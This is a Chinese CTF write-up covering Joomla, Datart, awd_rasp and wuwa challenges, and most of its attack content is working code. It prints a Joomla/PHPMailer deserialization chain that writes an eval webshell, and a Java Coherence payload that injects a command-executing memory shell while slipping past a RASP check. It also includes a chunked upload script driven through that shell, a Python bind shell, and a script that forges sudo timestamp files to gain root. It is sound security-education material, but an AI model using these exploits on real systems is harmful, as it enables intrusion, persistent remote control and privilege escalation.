前言 战绩(3/4) 拿到了一个最少解的题的一血 wuwa感觉这个出题逻辑是有点误导的,导致最后错过了关键点
Joomla 找到链子,最终在PHPMailer的send()中的popen执行命令
这里存在一个命令拼接,并且会接收我们的命令打开的流去写文件,所以这里直接tee写马
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 <?php namespace Joomla \Database \Sqlite { class SqliteDriver { protected $dispatcher ; protected $options = ['driver' => 'sqlite' ]; public function __construct ($dispatcher ) { $this ->dispatcher = $dispatcher ; } } } namespace Joomla \Event { class Dispatcher { protected $listeners = []; public function __construct ($listeners ) { $this ->listeners = $listeners ; } } } namespace PHPMailer \PHPMailer { class PHPMailer { public $Mailer = 'sendmail '; public $Sendmail = 'tee /var/www/html/tmp/getflag.php --' ; public $From = '[email protected] ' ; public $Sender = '[email protected] ' ; public $Body = '<?php @eval($_POST[1]);?>' ; protected $to = [['[email protected] ' , 'Joomla' ]]; } } namespace { $phpmailer = new \PHPMailer \PHPMailer \PHPMailer (); $dispatcher = new \Joomla\Event\Dispatcher ([ 'onAfterDisconnect' => [[$phpmailer , 'send' ]] ]); $driver = new \Joomla\Database\Sqlite\SqliteDriver ($dispatcher ); echo base64_encode (serialize ($driver )); }
蚁剑连上之后发现读flag没权限,根目录有个hint文件,知道在命令行记录了sudo密码
找到明文密码
最后使用sudo提权读flag
EZdatart 打CVE把flag读到静态目录读就完了
静态目录上传头像后可以找到
然后正常按文章打elephant Datart 1.0.0-rc3漏洞分析(CVE-2024-12994)-先知社区
awd_rasp 有幸拿了个一血
这题首先要绕过rasp和反序列化黑名单
这里反序列化黑名单ban得不多,很多toString(),euqal(),compare()常用函数的入口类没有ban掉,但是针对常规的cc链,和加载字节码的ban得特别的
然后先是看RCEHOOK,非常好绕过,只要第一个命令执行的是ping 127.0.0.1就可以了
之后就是链子用的coherence
注入内存马
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 package com.axin;import org.springframework.web.context.WebApplicationContext;import org.springframework.web.context.request.RequestContextHolder;import org.springframework.web.context.support.WebApplicationContextUtils;import org.springframework.web.servlet.HandlerInterceptor;import org.springframework.web.servlet.handler.AbstractHandlerMapping;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.ByteArrayOutputStream;import java.io.InputStream;import java.io.ObjectOutputStream;import java.io.Serializable;import java.lang.invoke.MethodHandles;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.lang.reflect.Method;import java.util.List;import java.util.Scanner;import com.tangosol.internal.util.invoke.ClassDefinition;import com.tangosol.internal.util.invoke.ClassIdentity;import com.tangosol.internal.util.invoke.Remotable;import com.tangosol.internal.util.invoke.RemoteConstructor;public class exp { public static class Payload implements Remotable , Serializable, HandlerInterceptor { public RemoteConstructor getRemoteConstructor () { return null ; } public void setRemoteConstructor (RemoteConstructor rc) { } @Override public boolean preHandle (HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { String cmd = request.getParameter("cmd" ); if (cmd != null ) { boolean isLinux = true ; String osTyp = System.getProperty("os.name" ); if (osTyp != null && osTyp.toLowerCase().contains("win" )) { isLinux = false ; } String[] cmds; if (isLinux) { cmds = new String []{"bash" , "-c" , "ping 127.0.0.1;" +cmd}; } else { cmds = new String []{"cmd.exe" , "/c" , "ping 127.0.0.1 &" +cmd}; } ProcessBuilder pb = new ProcessBuilder (cmds); pb.redirectErrorStream(true ); Process process = pb.start(); InputStream in = process.getInputStream(); Scanner s = new Scanner (in).useDelimiter("\\A" ); String output = s.hasNext() ? s.next() : "" ; response.setContentType("text/plain" ); response.getWriter().write(output); response.getWriter().flush(); return false ; } return true ; } static { try { Class<?> selfClass = MethodHandles.lookup().lookupClass(); Object interceptorInstance = selfClass.newInstance(); Object requestAttributes = null ; try { Method m = RequestContextHolder.class.getMethod("currentRequestAttributes" ); requestAttributes = m.invoke(null ); } catch (Exception e) {} WebApplicationContext context = null ; if (requestAttributes != null ) { try { Method m = requestAttributes.getClass().getMethod("getRequest" ); HttpServletRequest request = (HttpServletRequest) m.invoke(requestAttributes); context = WebApplicationContextUtils.getWebApplicationContext(request.getServletContext()); } catch (Throwable t) {} if (context == null ) { try { Method m = requestAttributes.getClass().getMethod("getAttribute" , String.class, int .class); context = (WebApplicationContext) m.invoke(requestAttributes, "org.springframework.web.servlet.DispatcherServlet.CONTEXT" , 0 ); } catch (Throwable t) {} } } if (context != null ) { String[] beanNames = context.getBeanNamesForType(AbstractHandlerMapping.class); for (String beanName : beanNames) { try { AbstractHandlerMapping mapping = (AbstractHandlerMapping) context.getBean(beanName); Field adaptedInterceptorsField = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors" ); adaptedInterceptorsField.setAccessible(true ); List<Object> adaptedInterceptors = (List<Object>) adaptedInterceptorsField.get(mapping); adaptedInterceptors.add(0 , interceptorInstance); } catch (Exception e) {} } } } catch (Throwable e) {} } } public static void main (String[] args) throws Exception { Class<?> payloadClass = Payload.class; String fullClassName = payloadClass.getName(); String classAsPath = fullClassName.replace('.' , '/' ) + ".class" ; InputStream in = payloadClass.getClassLoader().getResourceAsStream(classAsPath); ByteArrayOutputStream buffer = new ByteArrayOutputStream (); int nRead; byte [] data = new byte [1024 ]; while ((nRead = in.read(data, 0 , data.length)) != -1 ) { buffer.write(data, 0 , nRead); } byte [] classBytes = buffer.toByteArray(); String pkgName = "" ; String simpleName = fullClassName; int lastDot = fullClassName.lastIndexOf('.' ); if (lastDot != -1 ) { pkgName = fullClassName.substring(0 , lastDot).replace('.' , '/' ); simpleName = fullClassName.substring(lastDot + 1 ); } int dollarIndex = simpleName.lastIndexOf('$' ); String bName = simpleName.substring(0 , dollarIndex); String vName = simpleName.substring(dollarIndex + 1 ); Constructor<ClassIdentity> idConstructor = ClassIdentity.class.getDeclaredConstructor(String.class, String.class, String.class); idConstructor.setAccessible(true ); ClassIdentity id = idConstructor.newInstance(pkgName, bName, vName); ClassDefinition def = new ClassDefinition (id, classBytes); RemoteConstructor constructor = new RemoteConstructor (def, new Object [0 ]); ByteArrayOutputStream baos = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (baos); oos.writeObject(constructor); oos.close(); byte [] payload = baos.toByteArray(); try (java.io.FileOutputStream fos = new java .io.FileOutputStream("payload.ser" )) { fos.write(payload); System.out.println("Payload written to payload.ser (" + payload.length + " bytes)" ); } } }
分块上传文件脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 import requestsimport base64import urllib.parseimport timeurl = "http://172.31.21.17:8888//shell" def run_cmd (cmd ): try : encoded_cmd = urllib.parse.quote(cmd) target_url = f"{url} ?cmd={encoded_cmd} " response = requests.get(target_url, timeout=10 ) return response.text.strip() except Exception as e: print (f"Error executing command: {e} " ) return "" def upload_chunked (local_path, remote_path ): print (f"Starting upload of {local_path} to {remote_path} " ) with open (local_path, "rb" ) as f: content = f.read() b64_content = base64.b64encode(content).decode().replace("\n" , "" ) chunk_size = 3500 total_chunks = (len (b64_content) + chunk_size - 1 ) // chunk_size temp_b64_path = remote_path + ".b64" run_cmd(f"rm {temp_b64_path} " ) for i in range (total_chunks): start = i * chunk_size end = start + chunk_size chunk = b64_content[start:end] cmd = f"echo -n '{chunk} ' >> {temp_b64_path} " run_cmd(cmd) if i % 50 == 0 : print (f"Uploaded chunk {i+1 } /{total_chunks} " ) print ("Decoding file on server..." ) run_cmd(f"base64 -d {temp_b64_path} > {remote_path} " ) run_cmd(f"rm {temp_b64_path} " ) run_cmd(f"chmod +x {remote_path} " ) ls_out = run_cmd(f"ls -la {remote_path} " ) print (f"Upload finished. Verification: {ls_out} " ) if __name__ == "__main__" : upload_chunked("exp" , "/tmp/exp1" )
写一个正向弹shell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 import socketimport osimport ptyimport sysdef main (port ): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1 ) try : s.bind(('0.0.0.0' , port)) s.listen(1 ) print (f"[+] Bind shell listening on 0.0.0.0:{port} " ) print (f"[+] Waiting for connection..." ) conn, addr = s.accept() print (f"[+] Connection received from {addr[0 ]} :{addr[1 ]} " ) os.dup2(conn.fileno(), 0 ) os.dup2(conn.fileno(), 1 ) os.dup2(conn.fileno(), 2 ) print ("[+] Spawning shell..." ) shell = "/bin/bash" if not os.path.exists(shell): shell = "/bin/sh" pty.spawn(shell) except Exception as e: print (f"[-] Error: {e} " ) finally : s.close() if __name__ == "__main__" : if len (sys.argv) > 1 : try : port = int (sys.argv[1 ]) except ValueError: print (f"Usage: python3 {sys.argv[0 ]} [port]" ) sys.exit(1 ) else : port = 4444 main(port)
连上shell之后没有权限要提权
发现/run/sudo/ts/java可写,修改时间戳就可以获得root权限
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 cat > /tmp/pwn_sudo3.py << 'EOF' import struct import os TS_FILE = "/run/sudo/ts/java" SHELL_PID = 659 with open(f"/proc/{SHELL_PID}/stat" , "r" ) as f: content = f.read() start = content.find('(' ) end = content.rfind(')' ) stat = content[:start].split () + [content[start:end+1]] + content[end+2:].split () sid = int(stat [5]) starttime_ticks = int(stat [21]) with open("/proc/uptime" , "r" ) as f: uptime = float (f.read().split ()[0]) starttime_sec = starttime_ticks // 100 starttime_nsec = (starttime_ticks % 100) * 10000000 ts_sec = int(uptime ) - 1 ts_nsec = 0 ttydev = 3 | (136 << 8) print(f"[*] Session ID: {sid}") print(f"[*] Shell start (sec): {starttime_sec}") print(f"[*] Current uptime: {uptime}") print(f"[*] Setting ts to: {ts_sec} (just now)") with open(TS_FILE, "rb") as f: original = bytearray(f.read()) header = bytes(original[:56]) entry = struct.pack("<HHHH", 2, 56, 2, 0) entry += struct.pack("<II", 1000, sid) entry += struct.pack("<QQ", starttime_sec, starttime_nsec) entry += struct.pack("<QQ", ts_sec, ts_nsec) entry += struct.pack("<Q", ttydev) with open(TS_FILE, "wb") as f: f.write(header + entry) print("[+] Done!") EOF python3 /tmp/pwn_sudo3.py && sudo -i
wuwa(复现) 通过报错拿到jwt key登录
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 import subprocessimport systoken_payload = "A" * 1025 full_token = f"Bearer {token_payload} " url = "http://172.31.21.19:8000/admin" print (f"Sending request to {url} with token length {len (token_payload)} ..." )print ("Expected result: 500 Internal Server Error due to padding error in verify_token" )cmd = [ "curl" , "-v" , "-H" , f"Authorization: {full_token} " , url ] try : subprocess.run(cmd, check=False ) except FileNotFoundError: print ("curl not found in PATH. Please ensure curl is installed." )
tcp扫描开放端口,扫出来开了三个,其实测试只有web和另一个端口开着的,不知道为什么会误报
探测到10052是一个zbbix java gateway服务,然后比赛到这里我就没做出来了,因为我从我外网扫靶机也可以扫到10052,也就是说这题如果一步步走过来要利用这个ssrf特性的话,10052应该只有在内网可以访问到,这样才符合做题逻辑,而且题目描述是
python代码审计 ,但是实际上这题的解法完全可以绕过这个python的web服务甚至连附件都不用看就能做出来,我不知道出题人是怎么想的,或者是打了个非预期?
赛后复现就是打这个10052,了解到这个zbbix服务可以指定连接一个jndi服务器进行jmx反序列化
在javachain上启动服务再根据协议发送连接即可
弹shell